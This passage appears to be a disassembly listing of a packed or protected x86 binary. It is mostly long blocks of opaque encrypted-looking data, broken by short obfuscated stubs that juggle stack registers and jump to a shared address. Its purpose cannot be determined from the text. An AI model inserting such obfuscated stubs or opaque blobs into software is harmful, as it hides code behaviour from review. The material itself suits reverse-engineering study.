		dd 0C843F6ACh, 0C1287605h, 0DECEEC7Bh, 4BD99C1Dh, 0FD5B115Bh
		dd 7CF7AA36h, 10BC581Eh, 99681E6Eh, 0F60C728Fh,	53B0B174h
		dd 0DE0044B3h, 1363F1B4h, 81FC77C3h, 4D36123h, 0F60CE531h
		dd 0CA28DE2Eh, 0FBF6B07h, 0F36EBE46h, 0CE51124h, 0AEFE4EF6h
		dd 0B6B20CFBh, 9AC6C3Bh, 0A9F9FC13h, 18506E5Dh,	0AE33CE9Dh
		dd 0C184FA11h, 0C600B7ADh, 0DEA6047Eh, 555A558h, 0DB692C8Ah
		dd 854CAA25h, 0AB0984FFh, 0AE8D5CE8h, 0EF60257h, 257FC3Fh
		dd 371161F6h, 9E9D6CE7h, 0BFF60257h, 0F6DB96Fh,	5FE5AE48h
		dd 0AD0C5CACh, 0B4CCF989h, 0E074CA7Dh, 45000001h, 4AA8F498h
		dd 50AEFA88h, 53B1FD87h, 5BB905A7h, 0DAC41094h,	2BB980B9h
		dd 33B981DFh, 3DC389E7h, 44D093F1h, 3B0A85F8h, 0F001F2F8h
		dd 0BEA28665h, 97D7C8FBh, 3B9410Fh, 0D752DEA5h,	7C2FCD79h
		dd 0CC2A762Ch, 4B2F7B09h, 989960BEh, 2D524B05h,	0CB81D1EDh
		dd 6B1EAA6Dh, 97A675F0h, 0C8F60C4Ch, 0A164C278h, 0A669C713h
		dd 8EEC671Ah, 3A8A3DCBh, 3F299584h, 0BD5BF5C4h,	5CACFC13h
		dd 38BC83E1h, 0CC7F3585h, 30BD9538h, 0A493DF6Dh, 75D34E1Ah
		dd 0F26D23C9h, 1477C123h, 933F9DFAh, 88E636E9h,	2F7F32DCh
		dd 0D44F9F79h, 49BE0611h, 0B16793A1h, 4FDDA0FEh, 0A981249Ch
		dd 0BA35338Bh, 136099EBh, 4A96E6FCh, 0C68D29ECh, 0E737873Ah
		dd 0B9470E6Ch, 4D00B606h, 0E89B29EFh, 0B47BD954h, 0CDAB7ABDh
		dd 92E29C24h, 36D98FDFh, 9056B41Ch, 58A82EF4h, 0F67E47A5h
		dd 0EDA3F343h, 0C540CC8Fh, 0A43FD302h, 23D9EB29h, 92D6E8D7h
		dd 6CF0B917h, 45C03BB6h, 0BB6C776h, 77DCAFF0h, 3A05B8ABh
		dd 0E9B21060h, 42DEAD63h, 12FA14B2h, 0B164F2B4h, 54078D53h
		dd 24FEB404h, 2BA621D4h, 0C6DD95Ch, 803686F6h, 345E5F22h
		dd 0D2D03F7Eh, 0F3873A8Ah, 0BCEF650h, 67FD224Ah, 88772D2Bh
		dd 0E8B73236h, 0FC13C348h, 32216DBDh, 7A08CE8Ch, 2E0AF2Ah
		dd 0C6FA1E97h, 9813A168h, 6986AC9h, 0EDA3F3F6h,	0B210C313h
		dd 23E661EFh, 9BAD2CEAh, 57A359DCh, 0F7AA36F9h,	3F0EBB28h
		dd 77CF7236h, 0CD19A76Ah, 6D20AC6Fh, 6346630Fh,	1160B414h
		dd 0B9F52A2h, 88E6CE68h, 238137C5h, 2A88D460h, 7C08CB67h
		dd 19A36BC9h, 4BC679C9h, 283201D0h, 0DEA7B62Eh,	7953A356h
		dd 81D7329h, 39000000h,	0E9860BEh, 0DB886C58h, 7DDB8E2Eh
		dd 1D7B2EBAh, 0B816C957h, 55B366F0h, 0F14F028Eh, 95F3A62Ah
		dd 329043E9h
		dd 0D230E369h, 7ECF8210h, 81E78957h, 4C7h, 4EF8300h, 8B243C87h
		dd 0CB682424h, 8900001Eh, 8953240Ch, 4C381E3h, 83000000h
		dd 1C8704EBh, 4895C24h,	4EC8324h, 0B8240489h, 6FE77A89h
		dd 3504E0C1h, 74BF68EEh, 8708F025h, 853E357Fh, 0C1890C8Dh
		dd 101F6858h, 24890000h, 24048124h, 4, 7C756858h, 0C890000h
		dd 8408F24h, 582434FFh,	8B04C483h
		db 0Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5438DD
; ---------------------------------------------------------------------------
		dw 0ABEDh
		dd 65CED2D7h, 0DD4A71A7h, 0B8F0C809h, 60D976Fh,	0E0FFC503h
		dd 68EB8CBDh, 2F273363h, 0F6339BBh, 50987DF7h, 45642896h
		dd 541D96ADh, 2282B0Bh,	28282F55h, 76B4647Ch, 1248D4F9h
		dd 34A46AEEh, 163E0E4Dh, 1EE92E2Eh, 65D31013h, 713731A3h
		dd 608A0C4Eh, 3776B6D5h, 1C5BCA52h, 3C906986h, 0FA3D3D8h
		dd 27F6EC2Dh, 48413B9Bh, 4645775Dh, 0BE8h, 6E2B9400h, 0E866C7B9h
		dd 0A0D823D3h, 14E8h, 7F082800h, 994CC8Bh, 6C6D0051h, 5359918h
		dd 0F1E276E7h, 6E9E9h, 0BE080000h, 0A9815F79h, 8B66595Bh
		dd 43C181D9h, 0FC000071h, 68h, 0FE8B6600h, 0FF38B358h
		dd 5EF80834h, 8EF681F8h, 0E914BFD1h, 9,	4E3A7A21h, 86B61A4Eh
		dd 5DC68164h, 8119DB7Eh, 506454EEh, 3489F539h, 8E0F5201h
		dd 5, 8EF78166h, 0E8835F97h, 9E804h, 0B3610000h, 9FA3F2BEh
		dd 504BD1E0h, 0B41995BBh, 815A5F70h, 0FF8F88F8h, 14850FFFh
		dd 0F000000h, 486h, 0F8F86000h,	1EE961h, 0BEC50000h, 0FFD6AACh
		dd 389h, 0F98B6600h, 0FFFF82E9h, 860BA8FFh, 5CCA18A7h
		dd 89EDD51h, 152585C6h,	68560607h, 0A9C530DFh, 1CBDB5FFh
		dd 858D0607h, 60A70F4h,	8D8DD0FFh, 6073255h, 0FF406A51h
		dd 7211DB5h, 8DB5FF06h,	0FF060706h, 1DB5FFD0h, 0FF060721h
		dd 7068DB5h, 0CE806h, 527B0000h, 0B2B21FFCh, 62D159C7h
		dd 5F5F8FA3h, 0C104EF83h, 0C102242Ch, 3022424h,	1CF7243Ch
		dd 8BDB3324h, 0F6811F34h, 5DAA1599h, 284CC681h,	0F68118B1h
		dd 7D91ED70h, 1F048F56h, 4B02EB83h, 241C3B4Bh, 0FFD9850Fh
		dd 9D8DFFFFh, 60720C5h,	0C00B038Bh, 7840Fh, 38B0000h, 89045B8Bh
		dd 0E8C98B18h, 0Ah, 1391B382h, 0F33B1E2Ch, 6058F4D1h, 85F78166h
		dd 12E9EDh, 0D6570000h,	862BAC35h, 78802DC7h, 0D3233C30h
		dd 8B1A358Ch, 0FC08161h, 0F8000060h, 890FFF33h,	2, 1C8BD38Bh
		dd 81EB8A38h, 71ACF8C3h, 0F38B6678h, 0A485F381h, 60517679h
		dd 52CB8B66h, 8159615Eh, 955FDF3h, 0B7D68065h, 0F381C89h
		dd 85h,	3EF8300h, 66B64FF5h, 0A06CFF81h, 850FFFFFh, 0FFFFFFBEh
		dd 8DD08B66h, 0D9B2B8Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 9C2574ECh, 7E8h, 9B59300h
		dd 0A035F250h, 89616060h, 70059BDh, 0F586106h, 108Ch, 0A8F0F00h
		dd 0E9000000h, 5, 24A8E974h, 18D8970h, 0F06070Ah, 580h
		dd 946EBB00h, 85C74412h, 60714A5h, 5A44h, 10E9h, 95D2DC00h
		dd 0D79705A5h, 85B9CC1Eh, 633BAEA4h, 0D585C799h, 6072Fh
		dd 8B000000h, 0E18D09DAh, 0FF06070Eh, 705E1B5h,	13E906h
		dd 44EF0000h, 3DC619EDh, 9A18572Fh, 0DCD9260Fh,	0E4477538h
		dd 1995FFFBh, 8B06071Ch, 726499Dh, 0FF006A06h, 71B6995h
		dd 0EBC08B06h, 0FBA4400Eh, 71E3C52Fh, 88687EAEh, 0E89BA3CEh
		dd 10h,	4284AD59h, 946ECCA5h, 16101E53h, 8B2923B2h, 9D895EFCh
		dd 60731DDh, 5CB5C681h,	0CE90000h, 0BD000000h, 0E684C168h
		dd 0E59F4E8Dh, 689B7CAFh, 1701h, 5BF0EC80h, 0FFB7CC80h
		dd 0D0816636h, 8B590D45h, 70B71BDh, 8BC18106h, 662DA971h
		dd 81CBF7BFh, 0A17288C1h, 13E965h, 2B760000h, 60DBE2F0h
		dd 9AF6C1AAh, 0B4A45B3Dh, 1780B235h, 3BE9819Bh,	891B84EAh
		dd 7160185h, 0E80E8906h, 11h, 2F93EC64h, 3764654Dh, 13836943h
		dd 14BD4BA6h, 5A50536Eh, 0EE835F5Fh, 4EC78B02h,	0CF81664Eh
		dd 0EB837BF4h, 8C850F01h, 89FFFFFFh, 702D58Dh, 8EB06h
		dd 25000000h, 0E93F8081h, 4BFh,	0D9D1768h, 0E073E906h
		dd 0B968FFF9h, 0E9060D9Dh, 0FFF9E069h, 0D9EE968h, 0E05FE906h
		dd 5300FFF9h, 3DFF5DA9h, 3C0563AFh, 620E6CB8h, 4B1270BCh
		dd 6E8F79C5h, 8EDA662Dh, 92DE6830h, 9CE86E34h, 0A1ED7B3Eh
		dd 51E4B32Eh, 0EF001FBh, 60BE4B2Fh, 0C5C0F9Dh, 0A331F856h
		dd 7A08CA28h, 0EC177C7h, 8F51EDB0h, 0AEFE4E01h,	0A424E762h
		dd 49258C2h, 5984A341h,	5E0AB4A3h, 0B22414E3h, 0E131FC13h
		dd 0AED05F2Eh, 3A01F00Bh, 0E2A503B6h, 23C6A356h, 63D2A10Bh
		dd 0FCF00BAEh, 70135CACh, 0E52BEED6h, 93339815h, 0BF8121D7h
		dd 0FF99CAFBh, 2D4h, 62632684h,	0E45EA20Dh, 9F52A23Ch
		dd 80B5994Fh, 2AF04EF2h, 0AFF7D99Ch, 110EED0Ah,	16526C5Bh
		dd 0CD88CC9Bh, 0C515FC13h, 6B674110h, 3BBF576h,	0CD1BEA65h
		dd 3A077152h, 3499E177h, 0CA1AF2E8h, 0D2962817h, 88CC8857h
		dd 0D1210176h, 0A735F856h, 0AE3AFD5Bh, 7930AA4Fh, 55AB5EB9h
		dd 2F2h, 5BA745F2h, 61AD3BFDh, 66B23A03h, 66B25C08h, 67B34108h
		dd 541B5C7Dh, 5E2684D0h, 682E8CD8h, 6D308EDAh, 0A52093DFh
		dd 1FA67D6h, 3519F8F0h,	79F4744Ah, 1A0381AAh, 29EB49FCh
		dd 0E298E89Bh, 0C23DB808h, 0FCC57847h, 84B1F001h, 831207CCh
		dd 0F8AEFED8h, 14DD39Ah, 5E2DDCA3h, 0F0015EDFh,	5E2D10DFh
		dd 0E232F001h, 60FEAA08h, 77C69510h, 0E8F0015Eh, 52CD4898h
		dd 15EB083h, 0A75DADF0h, 2FFE79F4h, 0F0015E0Ch,	0A47E0ACDh
		dd 63CF9E54h, 44F0015Eh, 6F94F381h, 97BAE87Ah, 2508EE4h
		dd 0E7940000h, 0D99BF945h, 0D8A1FF4Bh, 0FEAA0854h, 0EFB61460h
		dd 0A2B1561h, 3A860AD1h, 3E8A14DCh, 408C1AE0h, 45911FE2h
		dd 0B58857D2h, 0AAF001FAh, 744AE7CBh, 9A693AE6h, 0F60C679Bh
		dd 712474C4h, 8756D121h, 0FC1A03BEh, 4110C313h,	0F001FCFEh
		dd 0AEFD55F8h, 99D0C5ECh, 1772Ch, 18DB4800h, 0B87BD98Ch
		dd 0CDF1E02Ch, 1F51209Bh, 0C7FC136Ah, 4E10A269h, 0E0BA70C0h
		dd 0AC521590h, 0E5582745h, 7AF00BE7h, 0BC9B672Ah, 15E4974Dh
		dd 0F00B9C2Ah, 0B063F1B7h, 7BB888EDh, 0F14F8F89h, 11EEA12Fh
		dd 0CE17D46Eh, 0C284132Bh, 299CAF8h, 3Bh, 0F4744A1Eh, 752AAA79h
		dd 1573FC13h, 0B210C369h, 0C21262F0h, 6AF1400Fh, 36E2F00Bh
		dd 0E522E598h, 34D6A676h, 66F4B614h, 0A27C1FB3h, 0E139DC25h
		dd 0CA91D092h, 0A01099h, 0DB2C0000h, 7BD98C18h,	0D45A22B4h
		dd 0CE81D121h, 6C1FAD70h, 71BD4B0Eh, 0C6CBDA2h,	41CF92F6h
		dd 0B0B806F5h, 14266635h, 98F6FC16h, 3F8F42ECh,	0DC921EE1h
		dd 0D937B202h, 0E4428E12h, 0D538971Dh, 31AED193h, 120287Eh
		dd 17C40000h, 9CB2975h,	8D12F7Bh, 2EDA3884h, 1FE64490h
		dd 3A5B4591h, 6AB63A01h, 6EBA440Ch, 70BC4A10h, 75C14F12h
		dd 85B88702h, 0DAF001F9h, 60BE17FBh, 0A5A0D97h,	0A12FF654h
		dd 905FDA55h, 0F60C67ADh, 4EAC62B2h, 0BF82FD8Bh, 2F309BE5h
		dd 0AB6DCB4Ah, 641A6A1Dh, 18DB3418h, 0B87BD98Ch, 0CDF1E02Ch
		dd 5851209Bh, 0B1FC13B3h, 0D6BE661h, 61EFB145h,	580E5E11h
		dd 61AD33FAh, 0B2CAF92h, 0E37134F0h, 0EE723997h, 5463B073h
		dd 0C6D8B34h, 0B6799C39h, 0D68CD27Eh, 834AA823h, 7FF147FDh
		dd 0D000000h, 79F4744Ah, 81B483FEh, 0DEF60C67h,	2409D88Eh
		dd 8DFC1A03h, 692C8A3Dh, 6E318FDBh, 0ECA467E2h,	2F46ABA4h
		dd 7443F6ACh, 2994C11Fh, 3E985BD6h, 130F59A9h, 2676FEC7h
		dd 6875CD70h, 77E9A4A5h, 0A4AD66A6h, 0E7AA0854h, 9C48A659h
		dd 8AB3FF2h, 54E0A32Eh,	0AC8F5ED9h, 0C8C98C84h,	0EFB3C964h
		dd 0E73711B3h, 0C487E531h, 0AC0A8538h, 0A89C5FE5h
		dd 54EAB751h, 3146A20h,	30000000h, 2EDB694Dh, 0BA7DDB8Eh
		dd 571D7B2Eh, 0F0B816C9h, 8E55B366h, 2AF14F02h,	0E995F3A6h
		dd 69329043h, 10D230E3h, 527ECF82h, 0C2815A54h,	4, 8704EA83h
		db 14h,	24h, 5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	67B9h
		mov	[esp], eax
		push	0F7Bh
		mov	[esp], edx
		mov	edx, 2BA62B85h
		dec	edx
		sub	edx, 25988F5Fh
		mov	ebp, edx
		pop	edx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		sub	esp, 4
		mov	[esp], ebp
		sub	dword ptr [esp], 5D7F249Dh
		pop	dword ptr [eax+8]
		add	dword ptr [eax+8], 5D7F249Dh
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_5438DD
; ---------------------------------------------------------------------------
		dd 0BC78AC94h, 90E9EC1Ah, 44A7F2FAh, 0B8E5A6E5h, 60DA02Eh
		dd 0E0FFC503h, 793B9099h, 376DB9DDh, 3BFE66D6h,	163B28D3h
		dd 45834391h, 737F7F33h, 5781EA18h, 13210786h, 4DB4EDE6h
		dd 1358446Fh, 7CD6795Fh, 1E6611E7h, 5A977EF0h, 4EE3676Eh
		dd 3888B370h, 9E8h, 0D3876B00h,	6C948130h, 8F0F6411h, 6
		dd 830Fh, 0E9590000h, 14h, 0FEB5D6D7h, 0FDC5E9FBh, 97CD9657h
		dd 79EAA3CFh, 9F4505E3h, 6F6BC181h, 92B60000h, 0BBh, 0FF65B200h
		dd 60580B34h, 6CE98166h, 0C08161B9h, 3E1B38E0h,	0CFC0D681h
		dd 0C08176A0h, 2D1B6EB7h, 6880Fh, 0C2810000h, 5BC5C323h
		dd 0C23CE881h, 8A0F65E1h, 8, 2860Fh, 0D78B0000h, 0E9190489h
		dd 0Bh,	61676DDDh, 0C3754C6Ch, 668E1694h, 83132EBEh, 0B70F01EBh
		dd 4B4B4BD2h, 0FB81F18Ah, 0FFFF9184h, 25850Fh, 14E90000h
		dd 9B000000h, 0C7FBBCE7h, 2209D788h, 11D220C4h,	0FE7278D2h
		dd 0E9D0861Ah, 2Ch, 0A58A98C5h,	0FE5C804h, 780h, 18A0F00h
		dd 0F5000000h, 0FFFF5EE9h, 59783FFFh, 3B37CCFCh, 818D6BFAh
		dd 7C516DCFh, 83CCC8D5h, 0FE8h,	7F800A00h, 61455F3h, 740D4774h
		dd 547E02C4h, 0A049B950h, 5B5A3C6Ch, 0FBD6F281h, 0C3816FB9h
		dd 5CE8h, 11850F56h, 0E9000000h, 0Ch, 0D8B94945h, 25BB99E6h
		dd 0F0E90CB9h, 170BB85Ah, 94BA0000h, 0FF4E7912h, 5E833h
		dd 84A20000h, 66703389h, 5E5ACB8Bh, 4880Fh, 0BA660000h
		dd 0C681E852h, 1F30968h, 0EA816660h, 0F1810BE2h, 10AEC0C0h
		dd 0F2F68161h, 0F7C4A83h, 380h,	0C88B6600h, 0F23DEE81h
		dd 0FC564430h, 8E8038Fh, 0F9000000h, 0C18899Bh,	598815BEh
		dd 0F03EB83h, 0B89h, 6E900h, 0FB240000h, 5F22B2AFh, 0E883F94Bh
		dd 8C850F01h, 52FFFFFFh, 5F616052h, 83C08B5Fh, 70211BDh
		dd 9750006h, 0D65BD83h,	74000607h, 8B535019h, 421B8C0h
		dd 85890000h, 607302Dh,	0AAA89D8Dh, 0D3FF0609h,	0BD83585Bh
		dd 6070D65h, 50177400h,	421B853h, 85890000h, 607302Dh
		dd 0A7979D8Dh, 0D3FF0609h, 0C08B585Bh, 166D9D8Bh, 85C60607h
		dd 6071525h, 0B8526856h, 0B5FF9CA8h, 6071CBDh, 70F4858Dh
		dd 0D0FF060Ah, 68046Ah,	0FF000010h, 70EA9B5h, 0FF006A06h
		dd 0FC085D0h, 0D85h, 0B800h, 8D8D0000h,	6076EC1h, 0C88BE1FFh
		dd 4003C38Bh, 0F8053Ch,	508B0000h, 83D3030Ch, 720C5BDh
		dd 840F0006h, 0Eh, 20C59D8Bh, 858B0607h, 60718E5h, 52510389h
		dd 77ED858Dh, 0D0FF0607h, 0F18BFA8Bh, 0C88BD18Bh, 85C6A4F3h
		dd 6071525h, 6D396856h,	0B5FFD41Fh, 6071CBDh, 70F4858Dh
		dd 0D0FF060Ah, 800068h,	52006A00h, 0C08BD0FFh, 211BD83h
		dd 75000607h, 65BD8309h, 6070Dh, 53501974h, 21B8C08Bh
		dd 89000004h, 723A985h,	0F9D8D06h, 0FF0609ABh, 83585BD3h
		dd 70D65BDh, 17740006h,	21B85350h, 89000004h, 723A985h
		dd 0B09D8D06h, 0FF0609A7h, 8B585BD3h, 0C59D8DC0h, 8B060720h
		dd 0FC00B03h, 784h, 8B038B00h, 1889045Bh, 4B41B8h, 0AC04EB00h
		dd 0E92E6294h, 587h, 7BC76512h,	81CD5B1Dh, 86D25A23h, 86D27C28h
		dd 87D36128h, 743B7C9Dh, 7E46A4F0h, 884EACF8h, 8D50AEFAh
		dd 0C540B3FFh, 1C347F6h, 553918F0h, 0D98C18DBh,	9968E35Eh
		dd 0F60C679Ah, 91A473C3h, 0CEF60C67h, 7EAECF0Bh, 12621CA4h
		dd 7E37FE5Ch, 0CE48CAFh, 8756D1F6h, 0F60CE4B4h,	0B90959A9h
		dd 1977F26Dh, 0C818CB51h, 0CE43AF9h, 49F39FF6h,	0B691F6Fh
		dd 8E09BC48h, 29DF6D30h, 0C97C08CBh, 681BA96Bh,	0E8F54DF0h
		dd 0ED4B9725h, 9C9F6E27h, 3DF60CE4h, 0C111EB91h, 0E4C47746h
		dd 4999F60Ch, 894FADF9h, 0EB9E2AEDh, 3A984B9Bh,	0F671EC72h
		dd 0CE41427h, 43F949F6h, 0C159FC90h, 0D39A2EF4h, 0EC4A9A4Dh
		dd 4C9C2Ah, 9BF1C285h, 1FBB6B42h, 0C376FAC1h, 9C5FBD73h
		dd 0A28E5D10h, 0B6F60C95h, 0CE913B13h, 5BAD345Ah, 43E39979h
		dd 93C36581h, 0A2C1h, 43BEDD00h, 0C67C174h, 984E9EF6h
		dd 36E9773Ah, 0C67D667h, 50138EF6h, 8AC55792h, 0DC19CD69h
		dd 0EF551CDFh, 0E23CDF95h, 0A945CBAh, 0B1510757h, 93C33BEFh
		dd 12Fh, 19DB4B00h, 7A2DBB7Dh, 0AC27DA2Ah, 67D36231h, 3C8CF60Ch
		dd 0D8662886h, 602FAA25h, 0F60C67DDh, 1E7C3282h, 6EFCBE72h
		dd 0BE0A31Eh, 80CC5C29h, 1A594B1Bh, 92E26A1Ch, 41F54817h
		dd 1A6AF60Ch, 0BE39B164h, 0B10F9D60h, 5EAE61EFh, 0A02D05A8h
		dd 890450DEh, 0AD1652Bh, 3383D386h, 0D05C1F7Dh,	78A39255h
		dd 0A75EE3F4h, 0DBC1A5F1h, 0A7966514h, 0B8F60C67h, 570A985Ah
		dd 0B467B707h, 4CEFBE39h, 11F60C67h, 0EBAD0BC1h, 45E8AA5Dh
		dd 1819E0EDh, 1ACBAE8Ch, 1590E022h, 0FF68CB9Ah,	0A5F5F60Ch
		dd 41F78547h, 15B77AF5h, 2BDF80A0h, 4407651Bh, 0DEA705B8h
		dd 0A8F88648h, 45CF97F5h, 0E26C3492h, 97AF522Fh, 0D26C0F58h
		dd 65116FEAh, 3545F8C7h, 0BC1AF60Ch, 6A2070F6h,	0C37F18CAh
		dd 6C5893h, 0DB740000h,	7FDD9014h, 37B2EB6h, 63DEC660h
		dd 0C67A194h, 0B86EBEF6h, 0C10D935Ah, 9D189C63h, 3BEE763Fh
		dd 92A170EBh, 0CBF60C67h, 0B412C57Bh, 0F8A9F308h, 42058B51h
		dd 2575F9B1h, 50AE2972h, 0FB4BFE88h, 0FB88A245h, 93C36149h
		dd 4A89h, 14DBA500h, 26521590h,	73A36916h, 9DED8F3Bh, 10D634E7h
		dd 4FF2CF82h, 9D23EAF7h, 0FBBE6D51h, 7A26D56Eh,	0ED121D4h
		dd 0EEBDB322h, 0F60CAA4Fh, 0BA70C010h, 590C9A5Ch, 0CAAA68Ah
		dd 370FB2F6h, 0C3FBA668h, 1E693h, 0DB020000h, 79D78A12h
		dd 34AF2AB6h, 674BEAB9h, 0C414F60Ch, 0C6746F5h,	1F4F2EF6h
		dd 92DB7838h, 0A9A568B8h, 99BDEC26h, 76D4873Dh,	147225B3h
		dd 5215C84Eh, 0DF793C56h, 0EE9125DCh, 60039754h, 9C32FBC6h
		dd 48984BD9h, 5D1F7DF8h, 0DECD19CFh, 3E0D88E0h,	0FC134B72h
		dd 82E093E3h, 87E531BFh, 5FBD38C4h, 0A6590F9Dh,	0B9466D7h
		dd 23B177F0h, 0C2501270h, 0B78F320Fh, 2ADD632Ah, 0AAD8ADAh
		dd 56E2A530h, 45148F0Ah, 0F00B94F6h, 3611767h, 0A301B440h
		dd 43A154E0h, 9E24EA7Ch, 7B3D9B4Eh, 1BBE3AEDh, 5F02C403h
		dd 0A937FAC7h, 7C0AD02Eh, 77C379C9h, 0CB2215D7h, 39FF5D99h
		dd 9C4FD59Dh, 0C346FC4Ch, 11Ah,	0F4744ADFh, 8676AA79h
		dd 6FBFFC13h, 8BAA79F4h, 50F00B79h, 0D626008Eh,	4C0F6D20h
		dd 0A9F05E4Dh, 0BA0ADEE4h, 0BF4D106Eh, 5DEBAE0Ch, 0ED45E8AAh
		dd 0BF811DE0h, 866E131h, 3BA94445h, 62EDA4E6h, 70105C12h
		dd 99CAF9AEh, 47EEh, 8D4A0A00h,	34037EF9h, 0F60C6701h
		dd 0B38D13DAh, 6332AD63h, 0F60C6860h, 0BDA8DDDh, 0F60C6728h
		dd 0F7BA1893h, 8F58B669h, 0B2025205h, 63C159FCh, 39971274h
		dd 0E636E977h, 0E7E6B530h, 58F60C68h, 8766BC08h, 82000000h
		dd 79F4744Ah, 81B483FEh, 0DEF60C67h, 0F1AECB8Eh, 0E4E81EE1h
		dd 506D5F2Eh, 82D2FC13h, 4AF654CFh, 0CD90EEA4h,	0D295F33Fh
		dd 55189346h, 8C931040h, 0DA8430CDh, 2987D727h,	5524DA66h
		dd 0F00B9AE9h, 37829C3Fh, 0AD9CE874h, 61DC5711h, 0FEB13B03h
		dd 0D429F8AEh, 3DFA1DFEh, 61BF3AEDh, 0FE5C129Eh, 66FAAD3Bh
		dd 3AC68DEBh, 0EB49E184h, 4B1A95D3h, 0FC105A36h, 0F5EAD89Bh
		dd 0DF2FB42Dh, 0D1DA1F8Bh
		dd 0F5459510h, 0FBBEC5A9h, 97AF47E0h, 0CCBB717Fh, 2CFB76F2h
		dd 0FC1AB1D7h, 0DB39EC3Ch, 0C8EA1918h, 2B436D7Dh, 169D60DBh
		dd 0E256109h, 2E7E0ACDh, 53B12C78h, 0EE4C028Ah,	1BEA9D2Bh
		dd 1876849Fh, 1EAB8326h, 2381CD5Bh, 0C321D460h,	2EC27517h
		dd 6326B38Bh, 36FC5AD5h, 7B87B685h, 88D8D86Eh, 7F358538h
		dd 8612D533h, 833480Bh,	2851E284h, 369BF72h, 85000000h
		dd 2EDB694Dh, 0BA7DDB8Eh, 571D7B2Eh, 0F0B816C9h, 8E55B366h
		dd 2AF14F02h, 0E995F3A6h, 69329043h, 10D230E3h,	687ECF82h
		dd 6E5Ch, 68242C89h, 3ACDh, 68241C89h, 1C26h, 68243489h
		dd 60DA437h, 83241C8Bh,	8B5404C4h, 0C4812434h, 4, 8B850h
		dd 0F0010000h, 89D98951h, 0FF585908h, 815E2434h, 4C4h
		dd 241C8B00h, 81E18951h, 4C1h, 4C18100h, 87000000h, 0E95C240Ch
		dd 0FFF9D2CDh, 7C5FBEF6h, 0B80604ABh, 60DA956h,	0E0FFC503h
		dd 0DB0DCFBh, 53DC1F55h, 506A342Ch, 7AFFC5F8h, 150B4F6Eh
		dd 72A76BA8h, 457C0233h, 4E129361h, 781CBC00h, 1C64E4DDh
		dd 58AE07B7h, 4030ED13h, 6AD9A83Ah, 7A49EA4Dh, 14874242h
		dd 278AEB54h, 7564C97Ch, 6D45E3CEh, 0CC40CEFh, 5B9C02A4h
		dd 24FB2D88h, 14323BEAh, 5EAAA710h, 6145ABC2h, 7252B887h
		dd 0EE8h, 74DE9800h, 0A1AC8B9Fh, 337A42Ch, 60BC4510h, 57D6B70Fh
		dd 0BE9h, 9C1D8900h, 0E8597CB5h, 6588056Ch, 665A615Eh
		dd 0C281DA8Bh, 67D6h, 0CB6841B1h, 5E000019h, 0F32FFF8h
		dd 8A5FCFB7h, 0CAF781CCh, 0F0BD259h, 281h, 815EB300h, 0F07522F7h
		dd 5820F65h, 0B8000000h, 6C17737Eh, 0D887C781h,	10E869F9h
		dd 98000000h, 0ABE1AA00h, 51E3E5ABh, 0C3991E9Ah, 8A5240D8h
		dd 3A8958CAh, 96EA81FCh, 80334FD8h, 0C281C7EDh,	334FD892h
		dd 0DE8h, 0F6C7C900h, 0E056D950h, 17C7606Eh, 8B667558h
		dd 0EE8359C6h, 8A850F01h, 55FFFFFFh, 5E75FDEDh,	0A476F67Ah
		dd 0BC56E669h, 0A010FD49h, 8E76FD20h, 98B7FD20h, 1015FD20h
		dd 0D507FD20h, 37FDFD20h, 46DAFD20h, 0FEBBFD20h, 0A296FD20h
		dd 8FDDFD20h, 98AAFD20h, 120FFD20h, 0D668FD20h,	3449FD20h
		dd 452AFD20h, 0FCD6FD20h, 0A03AFD20h, 259DFD20h, 2295358Ah
		dd 4A76D6A2h, 0BD5CDE71h, 5A5CF44Bh, 2775FD7Ah,	9775F572h
		dd 0CB74FD79h, 0ED73FD78h, 0F374F57Dh, 7874FC7Bh, 0BC75FC7Bh
		dd 5E75FD7Ah, 5776FD7Ah, 3F75A77Eh, 0CB75A77Eh,	0E475FD7Ah
		dd 0F374FC7Bh, 9074FC7Bh, 0BC75F8B2h, 0A8F0701Ah, 0A673F0D4h
		dd 9ADED0FFh, 0C7F0707Ch, 6C73F0D5h, 0FFDF10FFh, 33F0707Ch
		dd 3573F0D5h, 53DED4FFh, 85F0707Ch, 1E73F0D4h, 0C6DF0CFFh
		dd 8CF0707Ch, 7B73F0D4h, 74DF08FFh, 0BBF0707Ch,	0D773F0D7h
		dd 22DF04FFh, 8EF0707Ch, 4273F0D7h, 0E8DF00FFh,	0DDF0707Ch
		dd 0F073F0D7h, 0B1DEFCFFh, 0D4F0707Ch, 0A673F0D7h, 9ADEF0FFh
		dd 9DF0707Ch, 6C73F0D7h, 0FFDEF8FFh, 0CF0707Ch,	3573F0D7h
		dd 53DEF4FFh, 0A5F0707Ch, 1E73F0D7h, 0C6DEF0FFh, 21F0707Ch
		dd 7B73F0D7h, 74DEE0FFh, 5FF0707Ch, 0D773F0D7h,	22DEDCFFh
		dd 91F0707Ch, 4273F0D4h, 0E8DED8FFh, 0BDF0707Ch, 0F073F0D4h
		dd 0B1DEECFFh, 0D8F0707Ch, 0A673F0D4h, 9ADEE8FFh, 0EAF0707Ch
		dd 6C73F0D5h, 0FFDEE4FFh, 0D0F0767Ch, 3573FA71h, 53DE9BFFh
		dd 22F0767Ch, 1E73FA4Ah, 0C6DE97FFh, 0B0B69C7Ch, 0F29D11F1h
		dd 2375FD7Ah, 100F17FBh, 0D525FB77h, 0ADFDF53Fh, 9178561Fh
		dd 0CFB73422h, 0B723AC7Ah, 1A20AD29h, 7975FD7Ah, 27987C27h
		dd 0A073F0D6h, 22DF11FFh, 7BC87D7Ch, 0CF73F0D0h, 0E4C5B409h
		dd 0F9B54B75h, 863589BAh, 0B1DE97EFh, 96FEBD7Ch, 2F7A452Bh
		dd 28AFD7Ah, 0CD785610h, 4F9848F7h, 0C6F8FB77h,	4B9D50FCh
		dd 0CF75FD7Eh, 5E76456Fh, 0BA8AFD7Ah, 91785610h, 619848F7h
		dd 0D1F8FB77h, 228A50FCh, 87BC1F23h, 0B1DF11F7h, 52DA07Ch
